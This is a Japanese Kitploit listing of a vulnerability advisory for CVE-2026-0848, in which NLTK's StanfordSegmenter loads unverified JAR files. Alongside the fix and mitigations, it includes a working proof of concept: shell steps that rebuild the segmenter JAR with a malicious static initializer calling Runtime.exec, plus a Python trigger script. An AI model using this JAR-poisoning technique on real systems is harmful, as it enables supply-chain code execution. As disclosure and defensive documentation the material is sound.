Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-0848 — `nltk.tokenize.StanfordSegmenter` は、検証やサンドボックス化を行わずに外部Java .jarファイルを動的にロードします。攻撃者がJARを供給または置換できる場合(例:ポイズニングされたモデルのダウンロード、MITMによるパッケージのすり替え、依存関係のポイズニング)、インポート時に任意のJavaバイトコードが実行されます。 | Kitploit
ツール/GitHubGitHub/hyperps/cve-2026-0848
脆弱性分析コード分析エクスプロイトサプライチェーンセキュリティ論文と研究学習と教育
GitHubhyperps/cve-2026-0848

CVE-2026-0848

`nltk.tokenize.StanfordSegmenter` は、検証やサンドボックス化を行わずに外部Java .jarファイルを動的にロードします。攻撃者がJARを供給または置換できる場合(例:ポイズニングされたモデルのダウンロード、MITMによるパッケージのすり替え、依存関係のポイズニング)、インポート時に任意のJavaバイトコードが実行されます。

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-0848 — NLTK StanfordSegmenter: 信頼できないJARの読み込みによる任意コード実行


概要

フィールド詳細
CVE IDCVE-2026-0848
パッケージnltk (Natural Language Toolkit)
レジストリPyPI
影響を受けるバージョン<= 3.9.2
脆弱性タイプCWE-20: 不適切な入力検証
CVSSスコア10.0 (Critical)
攻撃元区分ネットワーク
攻撃複雑性低
必要な特権なし
ユーザー操作なし
スコープ変更あり
機密性への影響高
完全性への影響高
可用性への影響高
報告日2025年12月6日
CVE公開日2026年3月
支援元Palo Alto Networks / Prisma AIRS

説明

nltk.tokenize.StanfordSegmenter は、整合性の検証、署名チェック、サンドボックス化を一切行わずに、subprocess を介して外部の Java .jar ファイルを動的に読み込みます。このクラスは、path_to_jar、path_to_model、path_to_dict、java_class など、攻撃者が完全に制御できるパラメータを受け入れ、それらを java -cp 呼び出しに直接渡します。

攻撃者が、毒化されたモデルのダウンロード、中間者攻撃によるパッケージのすり替え、依存関係への毒入れ、または改竄されたリリースミラーを通じて JAR ファイルを供給または置換できる場合、JVM の静的初期化子メカニズムにより、クラス読み込み時に任意の Java バイトコードが実行されます。これは サプライチェーン型リモートコード実行(RCE) の脆弱性であり、Python ランタイムを完全に脱出します。


影響を受けるコンポーネント


CVSSベクタ

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

影響

悪用に成功すると、攻撃者は NLTK の分節処理を実行しているシステムを完全に制御できます:

  • 任意の Java コード実行 — 悪意のある JAR に埋め込まれたあらゆるバイトコードが、Python/Java プロセスの権限で実行されます
  • Python ランタイムからの脱出 — 実行が JVM 内に移り、Python レベルのサンドボックスを完全に回避します
  • OS レベルのコマンド実行 — 攻撃者は Runtime.getRuntime().exec() や ProcessBuilder を呼び出して、任意のシェルコマンドを実行できます
  • データの窃取と改ざん — プロセスが読み取り可能なすべてのファイル、環境変数、API キー、シークレットにアクセスできます
  • 環境全体の侵害 — CI/CD、本番 NLP パイプライン、またはサーバー環境では、単一の悪意のある JAR によってホストが完全に乗っ取られます

リスクの高い導入シナリオ

シナリオ影響
ML 研究者がインターネットから学習済みセグメンタを読み込むリモートの攻撃者がコード実行を得る
組織が改竄された中国語分節モデルの ZIP をダウンロードする

この脆弱性は、StanfordSegmenter を使用するあらゆる NLP ワークフロー(チャットボット、LLM 前処理パイプライン、データセットの分節処理、文書分類、本番推論サービスなど)に影響を及ぼします。


概念実証(PoC)

この情報は、教育および防御目的でのみ提供されています。所有していないシステム、または明示的なテスト許可を得ていないシステムに対してテストを行わないでください。

ステップ 1 — コア分類器を悪意のある Java クラスに置き換える

root@kitploit:~
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

ステップ 2 — 悪意のある JAR を構築する

root@kitploit:~
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

ステップ 3 — NLTK 経由でトリガーを発動する

root@kitploit:~
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

出力:

root@kitploit:~
[+] Triggering payload via modified Stanford JAR...

Payload executed — Code ran on class load!

[+] Running segmentation...
我 爱 自然语言 处理

RCE の確認:

root@kitploit:~
ls /tmp | grep pwned_hijack
# pwned_hijack

根本原因

この脆弱性は次の 2 つのファイルに存在します:

stanford_segmenter.py — StanfordSegmenter クラスのコンストラクタは、path_to_jar、path_to_model、path_to_dict、java_class をプレーンな文字列引数として受け入れ、以下のいずれも実行せずに Java 実行レイヤーへ直接転送します:

  • パスの許可リストまたは信頼できるディレクトリの強制
  • JAR の SHA-256 または暗号署名の検証
  • 既知の安全なクラス名セットに対する java_class パラメータの検証

internals.py — java() ヘルパーは、ユーザーが指定したクラスパスで subprocess.Popen() 呼び出しを構築して起動します。JVM は提供された JAR 内のすべてのクラスを即座に読み込み、アプリケーションロジックが実行される前に静的初期化子ブロックを実行します。サンドボックスも整合性チェックも、注入されたバイトコードの実行を防ぐメカニズムもありません。


修正

この脆弱性は、アップストリームの NLTK リポジトリで完全に修正されています。

リソースリンク
統合セキュリティ修正(全 CVE)https://github.com/nltk/nltk/pull/3522
研究者による最初の修正 PRhttps://github.com/nltk/nltk/pull/3477 (マージ済み)

PyPI で入手可能になり次第、修正済みバージョンの NLTK にアップグレードしてください。


修復策

pip を使用したアップグレード:

root@kitploit:~
pip install --upgrade nltk

インストール済みバージョンの確認:

root@kitploit:~
python -c "import nltk; print(nltk.__version__)"

タイムライン


参考情報


免責事項

このリポジトリは、CVE-2026-0848 を教育、研究、および防御的セキュリティの目的に限定して文書化しています。概念実証コードと技術的詳細は、開発者、セキュリティエンジニア、システム管理者がこの脆弱性を理解、評価、および修復するのを支援するために提供されています。

この情報を、明示的な許可なくシステムへのアクセスや侵害に使用することは、違法かつ非倫理的です。著者は、本書に含まれる情報の誤用について一切の責任を負いません。

貢献者: ketanHub

ツールをダウンロード
ファイル行説明
nltk/tokenize/stanford_segmenter.pyL53–L118攻撃者が制御可能な path_to_jar、path_to_model、path_to_dict、java_class を検証なしで受け入れる
nltk/internals.pyL220–L300ユーザーが制御する JAR パスとクラスパスで Java を直接起動する。サンドボックス化やチェックサム検証は行われない
nltk/internals.pyL109–L152subprocess.Popen() が未検証のクラスパス入力で Java を実行し、JVM が任意のバイトコードを読み込んで静的初期化子を実行できるようにする
メトリクス値
攻撃元区分ネットワーク
攻撃複雑性低
必要な特権なし
ユーザー操作なし
スコープ変更あり
機密性高
完全性高
可用性高
本番 NLP パイプライン内でマルウェアが実行される
CI/CD サーバーが非 HTTPS ミラーから wget/unzip でモデルをインストールする環境全体が侵害される
依存関係の乗っ取りまたは毒化されたリリースミラー完全なサプライチェーン型 RCE
アクション詳細
NLTK のアップグレードPR #3522 の修正を含む 3.9.2 より新しいバージョンに更新する
ユーザー制御の JAR パスを使用しないユーザー入力を path_to_jar、path_to_model、java_class 引数に影響させない
JAR の整合性を検証する使用前に、ダウンロードした JAR ファイルの SHA-256 チェックサムを公式に公開されたハッシュと常に照合する
HTTPS ソースのみを使用するモデルファイルと JAR は公式の HTTPS ソースからのみダウンロードし、HTTP や未検証のミラーは拒否する
最小特権NLTK ベースのサービスを、ファイルシステムとネットワークの権限が最小限の制限された OS ユーザーで実行する
コンテナ化NLP サービスを Docker コンテナや同様のサンドボックスに隔離し、JAR ベースの悪用による影響範囲を限定する
依存関係の監視ソフトウェア構成分析ツールを使用して、CI/CD パイプライン内で改竄または置き換えられた JAR 依存関係を検出する
日付出来事
2025年12月6日研究者 hyperps1(Sarvesh Patil)が huntr.dev に脆弱性を報告
2025年12月huntr.dev 経由で NLTK メンテナチームに通知
2026年1月NLTK メンテナが脆弱性を検証し、開示報奨金が授与される
2026年1月CVE-2026-0848 が採番される
2026年1月研究者による修正 PR #3477 が提出され、マージされる
2026年2月公開前 48 時間の事前通知が NLTK メンテナに送付される
2026年3月CVE が NVD と huntr.dev で公開される
2026年3月全 CVE に対する統合セキュリティ修正が PR #3522 でマージされる
リソースリンク
NVD エントリhttps://nvd.nist.gov/vuln/detail/CVE-2026-0848
公式 CVE レコードhttps://cve.org/CVERecord?id=CVE-2026-0848
huntr.dev レポートhttps://huntr.dev
統合修正 PRhttps://github.com/nltk/nltk/pull/3522
研究者による修正 PRhttps://github.com/nltk/nltk/pull/3477
PyPI の NLTKhttps://pypi.org/project/nltk/
Stanford Word Segmenterhttps://nlp.stanford.edu/software/segmenter.html
OWASP — 任意コード実行https://owasp.org/www-community/attacks/Code_Injection
OWASP — 信頼できない検索パスhttps://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection
CWE-20: 不適切な入力検証https://cwe.mitre.org/data/definitions/20.html
CWE-502: 信頼できないデータのデシリアライゼーションhttps://cwe.mitre.org/data/definitions/502.html